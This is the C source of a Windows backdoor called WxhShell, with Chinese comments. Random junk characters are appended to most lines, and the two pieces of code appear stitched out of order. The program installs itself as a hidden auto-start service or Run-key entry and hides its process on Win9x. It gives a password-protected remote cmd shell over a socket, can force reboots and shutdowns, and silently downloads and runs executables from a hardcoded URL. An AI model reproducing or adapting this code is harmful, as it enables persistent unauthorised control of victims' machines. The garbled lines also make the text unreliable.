    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fYBmW')  
    if(Boot(SHUTDOWN)) 9KkxUEkW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cxn3e,d`  
    else { ],V_"\ATD  
    closesocket(wsh); >{C=\F#*L  
    ExitThread(0); 2r4owB?  
    } 4$ya$Y%s%  
    break; B&3oo   
    } dI};l  
  // 获取shell mII7p LbQ  
  case 's': { WBvh<wTw;  
    CmdShell(wsh); &NM.}f  
    closesocket(wsh); -PPH]?],  
    ExitThread(0); ZCVwQ#Xe+  
    break; AwN7/M~'  
  } ;/l$&:  
  // 退出 [uqe|< :  
  case 'x': { ;6P #V`u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e=e^;K4  
    CloseIt(wsh); 6aRPm%  
    break; <pyLWmO  
    } Er509zZ,[  
  // 离开 w/ &)mm{  
  case 'q': { 'RZ=A+%X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BWRAz*V  
    closesocket(wsh); iZm# "}VG  
    WSACleanup(); mCah{~  
    exit(1); ;aXu  
    break; O<}3\O )G(  
        } Va"H.]  
  } dp;;20z  
  } qRi;[`  
wiHGTaR  
  // 提示信息 DO6Tz -%o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %c:v70*h=  
} `TwDR6&  
  } ~xfoZiIA}  
'9d<vW g  
  return; ;J [ed>v;3  
} 4u0\|e@a  
qTxw5.Ai!  
// shell模块句柄 su:~X d  
int CmdShell(SOCKET sock) k%2woHSu&  
{ dAg<BK/  
STARTUPINFO si; vfBIQfH  
ZeroMemory(&si,sizeof(si)); k_ d)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &ed&2t`Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t 3LRmjL  
PROCESS_INFORMATION ProcessInfo; F3 uR:)4<M  
char cmdline[]="cmd"; ^<u9I5?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3%HF"$Gg  
  return 0; }7Lo}}  
} DPV>2' fV  
QEtf-xNn^  
// 自身启动模式 e8E*Urtz  
int StartFromService(void) ly_@dsU'  
{ iB-h3/  
typedef struct {9mXJu$cc  
{ 4 H 4W  
  DWORD ExitStatus; xbUL./uj  
  DWORD PebBaseAddress; ,EsPm'`?A/  
  DWORD AffinityMask; 9c pjO  
  DWORD BasePriority; <d*;d3gm  
  ULONG UniqueProcessId; Q5K<ECoPk  
  ULONG InheritedFromUniqueProcessId; "Sx}7?8AB  
}   PROCESS_BASIC_INFORMATION; Dqxtc|vo  
C6<*'5T  
PROCNTQSIP NtQueryInformationProcess; s<#["K*_  
s}1S6*Cr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b\ P6,s'(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8)KA {gN}  
mHj3ItXUu  
  HANDLE             hProcess; ioJ~k[T  
  PROCESS_BASIC_INFORMATION pbi; _U Q|I|V#  
J~jxmh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *HC[LM  
  if(NULL == hInst ) return 0; TK! D=M  
fS@V`"O6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PJ$C$G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); . W7Z pV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h eR$j  
8?yRa{'"  
  if (!NtQueryInformationProcess) return 0; GF^)](xY+  
S`w_q=-^8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (B/od#nU  
  if(!hProcess) return 0; EdH;P \c  
\Ei(HmEU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UgqfO(  
}Cs. Hm0P  
  CloseHandle(hProcess); [\_#n5  
3QZ~t#,7ij  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wO-](3A-8P  
if(hProcess==NULL) return 0; \gU=B|W  
tJ qd  
HMODULE hMod; u*h+ c8|zI  
char procName[255]; AcoU.tpP  
unsigned long cbNeeded; HxE`"/~.7k  
Id(wY$C&>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !dcG Bj  
(>)f#t[9J  
  CloseHandle(hProcess); 5eL_iNqJM  
l<DpcLX  
if(strstr(procName,"services")) return 1; // 以服务启动 s7 K](T4  
th4yuDPuA  
  return 0; // 注册表启动 1woBw>g  
}  ?|$IZ9  
ZC!GKW P2  
// 主模块 !et[Rdbu  
int StartWxhshell(LPSTR lpCmdLine) _yH=w'8.  
{ o$XJSz|6  
  SOCKET wsl; VV%Q "0 \  
BOOL val=TRUE;  MYk%p'  
  int port=0; $qp,7RW  
  struct sockaddr_in door; {=Y3[  
;ND)h pD+  
  if(wscfg.ws_autoins) Install(); BKJwM'~  
j34L*?  
port=atoi(lpCmdLine); 5 0KB:1(g  
=Z~nzyaN  
if(port<=0) port=wscfg.ws_port; "Vw;y+F}  
l,w$!FnmR  
  WSADATA data; k6(9Rw8bCk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FV];od&c  
s9\HjK*+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7j//x Tr}a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7%7 \2!0J}  
  door.sin_family = AF_INET; L2WH-XP=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;*AK eI2  
  door.sin_port = htons(port); Pkq?tm$#  
jWE?$r"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "'9[c"Iz  
closesocket(wsl); iH;IXv,b3  
return 1; 2<X.kM?N{B  
} N5%Cwl6i  
W&'[Xj  
  if(listen(wsl,2) == INVALID_SOCKET) { M#'j7EMu  
closesocket(wsl); <<iwJ U%:  
return 1; 4r+s" |  
} {wS)M  
  Wxhshell(wsl); muZ6}&4  
  WSACleanup(); >I&'Rj&Mc  
sSdnH_;&  
return 0; K:_5#!*^98  
~L55l2u7  
} W6 y-~  
qTV;L-  
// 以NT服务方式启动 ,T<q"d7-#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )^q7s&p/  
{ y$h.k"x`  
DWORD   status = 0; (7k}ysc  
  DWORD   specificError = 0xfffffff; &X`zk  
EsK.g/d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J =j6rD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +C8yzMN\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wiE'6CM  
  serviceStatus.dwWin32ExitCode     = 0; %j7HIxZh  
  serviceStatus.dwServiceSpecificExitCode = 0; %fH&UFby  
  serviceStatus.dwCheckPoint       = 0; BnwYyh  
  serviceStatus.dwWaitHint       = 0; +Dwq>3AH  
3;t{V$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6_vhBYLf  
  if (hServiceStatusHandle==0) return; [.[|rnil  
83[gV@LW0m  
status = GetLastError(); k&dLg5O  
  if (status!=NO_ERROR) K|Kc.   
{ }s>.Fh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .9'bi#:Cw  
    serviceStatus.dwCheckPoint       = 0; 4 >2g&);B  
    serviceStatus.dwWaitHint       = 0; ]A%S&q  
    serviceStatus.dwWin32ExitCode     = status; uNoP8U%*  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]@G$ L,3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iI 4XM>`a  
    return; )u67=0s2i+  
  } .r4M]1Of  
rV[/G#V>{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iFBH;O_~  
  serviceStatus.dwCheckPoint       = 0; ^W)h=49PN  
  serviceStatus.dwWaitHint       = 0; 6U!zc]>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?VCM@{9  
} N{<9N jmm  
Hp}dm93T  
// 处理NT服务事件,比如:启动、停止 K H&o`U(}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +61h!/<W  
{ VQe@H8>3  
switch(fdwControl) yG~7Xo5  
{ 7!kbe2/]'  
case SERVICE_CONTROL_STOP: 8RE"xJMff  
  serviceStatus.dwWin32ExitCode = 0; E2%{?o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Uk0Fo(HY  
  serviceStatus.dwCheckPoint   = 0; [e.@Yx_}  
  serviceStatus.dwWaitHint     = 0; &E+2  
  { Aav|N3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  L4 )  
  } M s5L7S  
  return; \7elqX`.yY  
case SERVICE_CONTROL_PAUSE: }g]O_fN7~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Du7DMo=l  
  break; Rk(2|I  
case SERVICE_CONTROL_CONTINUE: 7!r)[2l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3^x C=++  
  break; @+EO3-X5  
case SERVICE_CONTROL_INTERROGATE: k}tT l 2  
  break; H7&bUt/  
}; 9u%S<F"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )(`HEl>-9c  
} cE SSSH!m  
A!n)Fpk  
// 标准应用程序主函数 bzh`s<+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R.rxpJ+kU  
{ yD\[`!sWk  
-ZKo/ N>6}  
// 获取操作系统版本 /~nPPC  
OsIsNt=GetOsVer(); $Il:Yw_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #\LsM ~,  
@Q#<-/  
  // 从命令行安装 tuWJj^  
  if(strpbrk(lpCmdLine,"iI")) Install(); B$)&;Q  
SIr^\iiOB  
  // 下载执行文件 530Z>q  
if(wscfg.ws_downexe) { sPoH12?AL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !hS~\+E  
  WinExec(wscfg.ws_filenam,SW_HIDE); o n+:{ad  
} :^92B?q  
,R8:Y*@P  
if(!OsIsNt) { =U)e_q  
// 如果时win9x,隐藏进程并且设置为注册表启动 x+B7r& #:  
HideProc(); EKTn$k=  
StartWxhshell(lpCmdLine); 1Ka,u20  
} ;E0aTV)Zp  
else ),53(=/hl  
  if(StartFromService()) ;wF 0s  
  // 以服务方式启动 [\ALT8vC?m  
  StartServiceCtrlDispatcher(DispatchTable); `:y {  
else fH6mv0  
  // 普通方式启动 BL?Bl&p(  
  StartWxhshell(lpCmdLine); IJz=SV  
p%?m|(4f  
return 0; c u:1|gt  
} xfsf  
$CgR~D2G  
XzV:q!e-  
{iRXK   
=========================================== PW)Gd +y  
o1B8_$aYgc  
jXCSD@?]K  
;kv/(veQ1<  
ICxj$b  
20Rj Rd  
" u:[vqlU  
+#Q\;; FNP  
#include <stdio.h> @}[yC['  
#include <string.h> {6,  l#z  
#include <windows.h> i=mk#.j~  
#include <winsock2.h> `N.^+Mvx-  
#include <winsvc.h> M,V~oc5  
#include <urlmon.h> {P[>B}'rW  
e <]^7pz  
#pragma comment (lib, "Ws2_32.lib") 2$OI(7b=  
#pragma comment (lib, "urlmon.lib") sH_5.+,`  
F\lnG  
#define MAX_USER   100 // 最大客户端连接数 Yfotq9.=+  
#define BUF_SOCK   200 // sock buffer E!_mXjlPc  
#define KEY_BUFF   255 // 输入 buffer WVa#nU^  
$22_>OsA  
#define REBOOT     0   // 重启 5:r*em  
#define SHUTDOWN   1   // 关机 yR|Beno  
T|fmO<e*n  
#define DEF_PORT   5000 // 监听端口 Utv#E.VI  
`$hna{e^n  
#define REG_LEN     16   // 注册表键长度 Dx1w I  
#define SVC_LEN     80   // NT服务名长度 k.MAX8  
S( nZ]QEG  
// 从dll定义API +q NX/F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oI2YJ2?Je8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R<-u`uX nP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vSf ?o\O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6Uik>e7?  
_pZaVx  
// wxhshell配置信息 6~#$bp^-  
struct WSCFG { H,I k&{@j  
  int ws_port;         // 监听端口 ZA>p~Zt  
  char ws_passstr[REG_LEN]; // 口令 CR KuN  
  int ws_autoins;       // 安装标记, 1=yes 0=no .>A`FqV$~+  
  char ws_regname[REG_LEN]; // 注册表键名 RqnT*  
  char ws_svcname[REG_LEN]; // 服务名 O wJZ?j& )  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WhY8#B'?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `~ ,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wAn}ic".b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6%nKrK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yv&VK ht  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q;EQ8pL?"  
FdZG%N>Z  
}; nS`DI92I  
|5(< Vk=  
// default Wxhshell configuration 6.|Q yk*  
struct WSCFG wscfg={DEF_PORT, |#x]FNg  
    "xuhuanlingzhe", 9"%ot=)  
    1, |}YeQl  
    "Wxhshell", p l.D h  
    "Wxhshell", .&R j2d  
            "WxhShell Service", ?~g X7{>  
    "Wrsky Windows CmdShell Service", COC6H'F  
    "Please Input Your Password: ", c/bIt  
  1, p"lTZ7c:Y  
  "http://www.wrsky.com/wxhshell.exe", (sHvoE^q-  
  "Wxhshell.exe" h4\j=Np  
    }; XX@@tzN  
bF#1'W&  
// 消息定义模块 &1k2J   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M:*^k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @m bR I0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c(tX761qz  
char *msg_ws_ext="\n\rExit."; [p7cgHSMt  
char *msg_ws_end="\n\rQuit."; D-GIrw{>5  
char *msg_ws_boot="\n\rReboot...";  a1p}y2  
char *msg_ws_poff="\n\rShutdown..."; kS@6'5U  
char *msg_ws_down="\n\rSave to "; liuF;*  
|i-d#x8  
char *msg_ws_err="\n\rErr!"; 5/m^9@A  
char *msg_ws_ok="\n\rOK!";  b}eBy  
6,D)o/_  
char ExeFile[MAX_PATH]; ZV?~~_ 9  
int nUser = 0; 9*"Ae0ok1  
HANDLE handles[MAX_USER]; l-GQ AI8  
int OsIsNt; j!oD9&W4~  
k8~/lE.Wy  
SERVICE_STATUS       serviceStatus; |D ?}6z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j![;;  
S@N:Cj  
// 函数声明 w N-np3k  
int Install(void); [nBdq"K  
int Uninstall(void); .gPXW=r  
int DownloadFile(char *sURL, SOCKET wsh); f Cq  
int Boot(int flag); { 4(E @  
void HideProc(void); mROXwzL  
int GetOsVer(void); H+VKWGmfG  
int Wxhshell(SOCKET wsl); 3Xun>ZQ-  
void TalkWithClient(void *cs); B< `'h  
int CmdShell(SOCKET sock); BWd{xP y  
int StartFromService(void); ATdK)gG  
int StartWxhshell(LPSTR lpCmdLine); -wqnmK+G  
H /kSFf{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t mCm54  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &$!'Cw`,  
w,'"2^Cwy  
// 数据结构和表定义 ~PoBvHi  
SERVICE_TABLE_ENTRY DispatchTable[] = (zm5 4 Vm  
{ 6axDuwQ  
{wscfg.ws_svcname, NTServiceMain}, quvdm68  
{NULL, NULL} ;g0p`wV  
}; BgzER[g|q{  
c|s*(WljY  
// 自我安装 .Y?/J,Ch  
int Install(void) oZY2K3J)  
{ X)tf3M {J@  
  char svExeFile[MAX_PATH]; le*1L8n$'  
  HKEY key; :4ndU:.L  
  strcpy(svExeFile,ExeFile); vWM3JH~a6  
ikSm;.  
// 如果是win9x系统,修改注册表设为自启动 41d,<E  
if(!OsIsNt) { ~sI$xX!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YRkp(}*!\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +:s]>R eDa  
  RegCloseKey(key); %/86}DCfE?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _-vf<QO]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s?.A $^t  
  RegCloseKey(key); I^5T9}>Q  
  return 0; Or0eY#c  
    } E%f;Z7G  
  } '}`|QJ  
} $7#N@7  
else { l>Nz]Ul%{  
I1H} 5 bf3  
// 如果是NT以上系统,安装为系统服务 Llf |fayq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "]jGCo>9  
if (schSCManager!=0) S<hj6A  
{ T@n-^B!Xq  
  SC_HANDLE schService = CreateService Qo4+=^(  
  ( suh@  
  schSCManager, ?D].Za^km  
  wscfg.ws_svcname, m]bv2S+5y  
  wscfg.ws_svcdisp, \~(ww3e  
  SERVICE_ALL_ACCESS, kH!I&4d&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JY\8^}'9  
  SERVICE_AUTO_START, MNE{mV(  
  SERVICE_ERROR_NORMAL, kp4*|$]  
  svExeFile, $GzTDq Y9@  
  NULL, ,1\nd{  
  NULL, $II[b-X?S  
  NULL, d2Z kchf  
  NULL, 6AZJ,Q\E@  
  NULL VQm)32'  
  ); 1_Um6vS#  
  if (schService!=0) 1PMBo=SUe8  
  { >H@ zP8  
  CloseServiceHandle(schService); w1J&c'-  
  CloseServiceHandle(schSCManager); nt,tM/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &CvNNDgrJ  
  strcat(svExeFile,wscfg.ws_svcname); [<)/ c>Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wW3fsXu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?|8QL9Q"|  
  RegCloseKey(key); E^.y$d~dS  
  return 0; 5Rv6+d  
    } :*bmc/c  
  } /t-m/&>  
  CloseServiceHandle(schSCManager); zMfr`&%e  
} ZQT14.$L  
} KzRw)P  
G>?hojvi  
return 1; w_po5[]R  
} dbTPY`  
[)}F4Jsz%  
// 自我卸载 tJ>OZ  
int Uninstall(void) :X>%6Xj?RV  
{ ~q]+\qty4  
  HKEY key; / r#.BXP  
}5H3DavW  
if(!OsIsNt) { &zsaVm8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q$EicH}k8  
  RegDeleteValue(key,wscfg.ws_regname); `.f<RVk-  
  RegCloseKey(key); QE&rpF7l{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { + #gJ[Cc  
  RegDeleteValue(key,wscfg.ws_regname); )v1n#m,W  
  RegCloseKey(key); 7:U^Ki  
  return 0; 2R&msdF   
  } ,K Ebnk|i  
} #C1u~db  
} {n8mE,;M  
else { Vx@JP93|  
ql5NSQ>{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @ U6Iw"@  
if (schSCManager!=0) )s6pOxWx  
{ f&glY`s#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +Zu*9&Cx  
  if (schService!=0) $LLkYOwI  
  { zhH-lMNj-  
  if(DeleteService(schService)!=0) { fu3/n@L  
  CloseServiceHandle(schService); -QL_a8NL  
  CloseServiceHandle(schSCManager); K &m`1f  
  return 0; (tV/.x*G  
  } M]YK]VyG  
  CloseServiceHandle(schService); * 8n0  
  } 53d8AJ_@X  
  CloseServiceHandle(schSCManager); C-/<5D j  
} +]-~UsM  
} G2Eke;  
R]e?<,"X  
return 1; )J 4XM(  
} /t`s.!k  
>K$9 (  
// 从指定url下载文件 JQQP!]%}  
int DownloadFile(char *sURL, SOCKET wsh) tgy*!B6a~  
{ GGcN aW'  
  HRESULT hr; d@~Hp?  
char seps[]= "/"; ; F% 3b47  
char *token; iJE  $3  
char *file; :@zz5MB5@  
char myURL[MAX_PATH]; 6p%;:mDB  
char myFILE[MAX_PATH]; H(U`S  
bhaIi>W~G  
strcpy(myURL,sURL); 6m_ fEkS[  
  token=strtok(myURL,seps); MPx%#'Q  
  while(token!=NULL) aMQfg51W:  
  { To1 .U)do  
    file=token; J ylav:  
  token=strtok(NULL,seps); SW|{)L,  
  } Pu dIb|V2  
m,KG}KX  
GetCurrentDirectory(MAX_PATH,myFILE); ]ovP^]]V  
strcat(myFILE, "\\"); <&:OSd:%  
strcat(myFILE, file); 3B#qQ#  
  send(wsh,myFILE,strlen(myFILE),0); b6sj/V8  
send(wsh,"...",3,0); &GF@9BXI3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ssGp:{]v/  
  if(hr==S_OK) R{"Kh2q_  
return 0; 4Cs |F7R  
else 4SRX@/ #8*  
return 1; U_ELeW5@  
rnW(<t"  
} ?-w<H!Y7  
1sgI,5liUs  
// 系统电源模块 Hd H,   
int Boot(int flag) ` 6a  
{ 7 lc -  
  HANDLE hToken; c \cPmj@  
  TOKEN_PRIVILEGES tkp; ha+)ZF  
aMdWT4  
  if(OsIsNt) { Fd!Np7xw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yO\ .dp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xwK{}==U  
    tkp.PrivilegeCount = 1; S- {=4b'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .} al s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KwO;ICdJ  
if(flag==REBOOT) { ZoJ_I >uv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <4r3ZV;'  
  return 0; r'!L}^n  
} [\eh$r\   
else { Yxik .S+G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0;9X`z J  
  return 0; c'#w 8 V  
} 4e OS+&  
  } l*eJa38  
  else { % NSb8@  
if(flag==REBOOT) { GH ] c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <r 2$k"*:  
  return 0; />^sGB  
} +/+:D9j ,  
else { h`Ld%iN\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H,8HGL[l  
  return 0; *K}h >b 1  
} IZ?+c@t  
} })~M}d2LXB  
aY:u-1  
return 1;  S9\_ODv  
} =+>cTV  
2>`m1q:  
// win9x进程隐藏模块 w)xiiO[  
void HideProc(void) D@.+B`bA  
{ G,o5JL"t  
+% E)]*Ym  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FYe#x]ue  
  if ( hKernel != NULL ) #R^^XG`1  
  { GnTCq_\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k5M3g*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !q]@/<=  
    FreeLibrary(hKernel); /:S&1'=  
  } 3+:F2sjt  
4^*+G]]wZ~  
return; +"P!es\q  
} Rda~Drz  
b { M'aV  
// 获取操作系统版本 NgI n\) =0  
int GetOsVer(void) ]*/%5ZOI&  
{ I(rZ(|^A  
  OSVERSIONINFO winfo; GN0s`'#"3%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cpg>5N~;L  
  GetVersionEx(&winfo);  (zIWJJw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #E`wqI\'  
  return 1; =[_=y=G  
  else T~D2rt\  
  return 0; *WzvPl$e  
} 58]C``u@Y  
.I h'&  
// 客户端句柄模块 G!<-9HA5  
int Wxhshell(SOCKET wsl) U7_1R0h  
{ *'l|ws  
  SOCKET wsh; 8?l/x  
  struct sockaddr_in client; I9VU,8~  
  DWORD myID; sa?Ul)L2  
;rj|>  
  while(nUser<MAX_USER) 5Z]]xR[  
{ wf`e3S  
  int nSize=sizeof(client); &m5FYm\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cPp<+ ts  
  if(wsh==INVALID_SOCKET) return 1; UI]UxEJ  
EX"o9'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ; ElwF&"!X  
if(handles[nUser]==0) r)]8zK4;=  
  closesocket(wsh); cqd}.D  
else <>71;%e;'  
  nUser++; pu OAt  
  } W ])Lc3X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l $:?82{  
_Dq, \}  
  return 0; 07 E9[U[  
} 3'jH,17lWV  
SoJ=[5W  
// 关闭 socket v$d^>+Y#  
void CloseIt(SOCKET wsh) k1_" }B5  
{ 96#aG h>  
closesocket(wsh); wAA9M4  
nUser--; 8M6wc394  
ExitThread(0); Of gmJ(%  
} bdYx81  
_C4N6YdU  
// 客户端请求句柄 zd0 [f3~  
void TalkWithClient(void *cs) :ceT8-PBRx  
{ !;%+1j?d  
n4A#T#D!t3  
  SOCKET wsh=(SOCKET)cs; crlCN  
  char pwd[SVC_LEN]; =yCz!vc  
  char cmd[KEY_BUFF]; @AfC$T  
char chr[1]; qe_qag9  
int i,j; vxZ :l  
Vjqs\  
  while (nUser < MAX_USER) { hi0-Sw  
P.Gmj;  
if(wscfg.ws_passstr) { H[J5A2b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qA>C<NL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g^)8a;/c  
  //ZeroMemory(pwd,KEY_BUFF); `gE_u  
      i=0; o?`^ UG-   
  while(i<SVC_LEN) { N_o|2  
+Ua.\1"6  
  // 设置超时 cM Z-  
  fd_set FdRead; e13' dCG  
  struct timeval TimeOut; Sau?Y  
  FD_ZERO(&FdRead); @!KG;d:l  
  FD_SET(wsh,&FdRead); 3R?6{.  
  TimeOut.tv_sec=8; ;y]BXW&l&  
  TimeOut.tv_usec=0; QdK PzjA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b{(= C 3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bFB.hkTP  
Xf%wW[~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h { M=V  
  pwd=chr[0]; q c DJ  
  if(chr[0]==0xd || chr[0]==0xa) { Wu@v%!0  
  pwd=0; E5Zxp3N  
  break; 20`QA u)'  
  } cL+bMM$4r~  
  i++; 7OdJ&Gzd  
    } qk_YFR?R  
EY}*}-3  
  // 如果是非法用户,关闭 socket jn._4TQ*}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9iM[3uyO  
} I*EHZctH  
~vV+)KI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F-GrQd:O=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nq 9{{oe  
J|@kF!6  
while(1) { +L-(Lz[p  
|wkUnn4UB8  
  ZeroMemory(cmd,KEY_BUFF); v<:/u(i  
d37|o3oC  
      // 自动支持客户端 telnet标准   4YyVh.x  
  j=0; I'c rH/z9  
  while(j<KEY_BUFF) { )~C+nb '6/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k.?@qCs[  
  cmd[j]=chr[0]; `2a7y]?  
  if(chr[0]==0xa || chr[0]==0xd) { 3Q2z+`x'  
  cmd[j]=0; @WnW @'*F  
  break; # 5b   
  } h: Hpz  
  j++; UE 1tm  
    } xF8 8'p'  
{O5(O oDa  
  // 下载文件 u iR[V~  
  if(strstr(cmd,"http://")) { r#\Lq;+-B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tE]Y=x[Ux  
  if(DownloadFile(cmd,wsh)) xi}3)5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +qee8QH  
  else bq"dKN`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2+}hsGnp  
  } (3QG  
  else { Lem:zXj  
_.+2sm   
    switch(cmd[0]) { \!df)qdu  
